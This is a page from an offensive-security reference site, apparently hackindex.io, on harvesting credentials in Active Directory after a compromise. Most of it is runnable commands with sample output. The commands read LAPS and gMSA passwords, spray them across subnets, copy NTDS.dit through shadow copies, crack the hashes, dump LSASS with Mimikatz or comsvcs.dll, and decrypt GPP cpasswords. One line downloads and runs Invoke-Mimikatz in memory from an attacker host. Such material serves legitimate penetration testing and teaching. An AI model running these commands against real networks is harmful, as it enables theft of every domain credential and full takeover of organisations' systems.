# Credential Harvesting

> Techniques for extracting credentials from AD environments post-compromise, covering LSASS dumping, DCSync attacks, and Kerberoasting for lateral movement.

- **URL:** https://hackindex.io/platforms/active-directory/post-exploitation/ad-credential-harvesting
- **Path:** Active Directory > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/platforms/active-directory/post-exploitation.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

After gaining elevated access in AD, credential harvesting extends your reach. LAPS passwords give local admin access to workstations, gMSA hashes give access to service account contexts, and NTDS gives every hash in the domain. Collect these in order of impact before any defensive action can remove your access.

- LAPS: local admin passwords from ms-MCS-AdmPwd attribute
- gMSA: service account NT hashes from msDS-ManagedPassword
- NTDS.dit: full domain hash dump via DCSync or shadow copy
- LSASS: hashes and tickets for currently logged-in users
- SYSVOL/GPP: plaintext passwords in Group Policy Preferences XML

## LAPS passwords

LAPS stores auto-rotated local admin passwords in `ms-MCS-AdmPwd`. With sufficient ACL rights (which elevated accounts often have), you can read the current password for every LAPS-managed machine.

#### Kali (bloodyAD / nxc)

**LAPS password extraction (Kali)**

```bash
# All readable LAPS passwords via BloodyAD
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(ms-MCS-AdmPwd=*)' --attr dNSHostName ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime

# nxc: cleaner output
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --laps

# ldapsearch
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(ms-MCS-AdmPwd=*)" dNSHostName ms-MCS-AdmPwd

# Spray LAPS passwords across workstations
nxc smb $TARGET_SUBNET/24 -u Administrator -p $LAPS_PASSWORD --local-auth
# LDAP  10.10.10.10  389  DC01  Computer: WS01$  LAPS: xK9#mP2!vL
# LDAP  10.10.10.10  389  DC01  Computer: WS02$  LAPS: Tr8@nK4!pQ
```

#### Windows (PowerView / AD module)

**LAPS password extraction (Windows)**

```powershell
# PowerView: requires read rights on ms-MCS-AdmPwd
Get-DomainComputer -Properties Name,'ms-MCS-AdmPwd','ms-MCS-AdmPwdExpirationTime' |
    Where-Object {$_.'ms-MCS-AdmPwd' -ne $null} | Select-Object Name, 'ms-MCS-AdmPwd'

# AD module (requires RSAT)
Get-ADComputer -Filter * -Properties 'ms-MCS-AdmPwd', 'ms-MCS-AdmPwdExpirationTime' |
    Where-Object {$_.'ms-MCS-AdmPwd' -ne $null} |
    Select-Object Name, 'ms-MCS-AdmPwd', 'ms-MCS-AdmPwdExpirationTime'
```

## gMSA passwords

Group Managed Service Accounts have auto-rotated passwords stored in `msDS-ManagedPassword`. The blob is only readable by accounts listed in `msDS-GroupMSAMembership`, but privileged accounts often have read access.

#### Kali (bloodyAD / nxc)

**gMSA password extraction (Kali)**

```bash
# Find all gMSA accounts
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=msDS-GroupManagedServiceAccount)' --attr sAMAccountName msDS-GroupMSAMembership

# Read managed password blob
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object '$GMSA_ACCOUNT$' --attr msDS-ManagedPassword

# gMSADumper: parses blob, outputs NT hash
python3 gMSADumper.py -u $USER -p $PASSWORD -d $DOMAIN -l $TARGET_IP

# nxc
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --gmsa

# Use the NT hash
nxc smb $TARGET_IP -u '$GMSA_ACCOUNT$' -H $NTHASH
# Account: svc-backup$  NTLM: a3b4c5d6e7f8a1b2c3d4e5f6a7b8c9d0
```

#### Windows (AD module / DSInternals)

**gMSA password extraction (Windows)**

```powershell
# Find gMSA accounts and who can read the password
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword |
    Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword

# Read managed password blob (must be in PrincipalsAllowedToRetrieveManagedPassword)
$account = Get-ADServiceAccount -Identity '$GMSA_ACCOUNT$' -Properties msDS-ManagedPassword
$blob = $account.'msDS-ManagedPassword'

# Parse blob with DSInternals to get NT hash
Import-Module DSInternals
$pass = ConvertFrom-ManagedPasswordBlob $blob
Write-Host "NT hash: $(($pass.SecureCurrentPassword | ConvertTo-NTHash))"
```

## NTDS.dit: full domain hash dump

NTDS.dit contains every domain user's password hash. Extracting it requires Domain Admin. DCSync is the cleanest method: see [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover). When DCSync is blocked, extract NTDS.dit from a shadow copy on the DC.

#### Windows (vssadmin)

**NTDS.dit extraction via shadow copy**

```powershell
# Create shadow copy on DC (requires local admin)
vssadmin create shadow /for=C:\

# List shadow copies to get path
vssadmin list shadows

# Copy NTDS.dit and SYSTEM hive from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.hiv

# Cleanup
vssadmin delete shadows /shadow=<shadow-id> /quiet
```

#### Kali (secretsdump offline)

**Parse NTDS.dit offline**

```bash
# Transfer ntds.dit + system.hiv to Kali first
impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL

# Extract NT hashes only
impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL | grep ':::' | cut -d: -f4 > nt_hashes.txt

# Crack with hashcat
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt
```

## LSASS: local credentials from memory

LSASS stores NTLM hashes and Kerberos tickets for currently logged-in users. Dumping it gives credentials for active sessions. Particularly valuable on workstations where privileged users are logged in. Requires local admin or SYSTEM.

#### Kali (nxc lsassy)

**Remote LSASS dump (nxc)**

```bash
# Dump credentials remotely using lsassy module
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy

# Sweep subnet with Pass-the-Hash
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -M lsassy
# SMB  10.10.10.20  445  WS01  [+] jsmith:Password123! (NT: fc525c9683e8fe067095ba2ddc971889)
```

#### Windows (Mimikatz / comsvcs.dll)

**LSASS dump from Windows**

```powershell
# Mimikatz: full dump (requires SeDebugPrivilege)
# On Kali: /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# LSASS minidump using built-in comsvcs.dll: no external binary needed
$pid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $pid C:\Windows\Temp\lsass.dmp full

# In-memory Mimikatz
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# UserName : Administrator
# Domain   : CORP
# NTLM     : fc525c9683e8fe067095ba2ddc971889
```

To parse a minidump offline on Linux: `pypykatz lsa minidump lsass.dmp`

## Credential search across the domain

Credentials frequently appear in LDAP attributes, SYSVOL scripts, and GPO files.

#### Kali (bloodyAD / nxc)

**Domain-wide credential search (Kali)**

```bash
# Passwords in description fields
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(description=*pass*))' --attr sAMAccountName description

# Mount SYSVOL and search for GPP cpassword
smbclient //$TARGET_IP/SYSVOL -U "$DOMAIN/$USER%$PASSWORD" -c 'recurse; prompt off; mget *'
grep -r 'cpassword' . 2>/dev/null

# Decrypt GPP cpassword (AES key is public)
gpp-decrypt $CPASSWORD_VALUE

# nxc GPP modules
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_password
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_autologin
# SMB  10.10.10.10  445  DC01  [+] Found GPP credentials
# SMB  10.10.10.10  445  DC01  Username: svc-deploy  Password: Deploy2019!
```

#### Windows (PowerView / reg)

**Domain-wide credential search (Windows)**

```powershell
# Passwords in description fields
Get-DomainUser | Where-Object {$_.description -like '*pass*'} | Select-Object samaccountname, description

# GPP cpassword in SYSVOL
$sysvol = "\\$DOMAIN\SYSVOL\$DOMAIN\Policies"
Get-ChildItem $sysvol -Recurse -Include '*.xml' -ErrorAction SilentlyContinue | Select-String 'cpassword'

# Stored credentials on this host
cmdkey /list

# PowerShell history: may contain plaintext creds
Get-Content (Get-PSReadlineOption).HistorySavePath

# Registry: proxy and autologon
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
reg query 'HKCU\Software\SimonTatham\PuTTY\Sessions' /s
```

GPP passwords are a classic find: Group Policy Preferences XML files in SYSVOL historically stored AES-encrypted passwords using a Microsoft-published key, making them trivially decryptable. Always check SYSVOL even in modern environments since old GPOs are rarely cleaned up.

With a full set of domain credentials the next step is persistence. See [Golden and Silver Ticket Persistence](https://hackindex.io/platforms/active-directory/persistence/golden-and-silver-ticket-persistence) and [AD Account and ACL Persistence](https://hackindex.io/platforms/active-directory/persistence/ad-account-and-acl-persistence).

## References

- [BloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - get search for LAPS, gMSA, and credential attribute queries
- [gMSADumper (GitHub)](https://github.com/micahvandeusen/gMSADumper) - Parses msDS-ManagedPassword blobs and outputs NT hashes
- [Impacket (GitHub)](https://github.com/fortra/impacket) - secretsdump for NTDS.dit offline extraction and DCSync
- [NetExec / nxc (GitHub)](https://github.com/Pennyw0rth/NetExec) - lsassy, gpp_password, gpp_autologin, laps modules
- [DSInternals (GitHub)](https://github.com/MichaelGrafnetter/DSInternals) - ConvertFrom-ManagedPasswordBlob for parsing gMSA password blobs on Windows
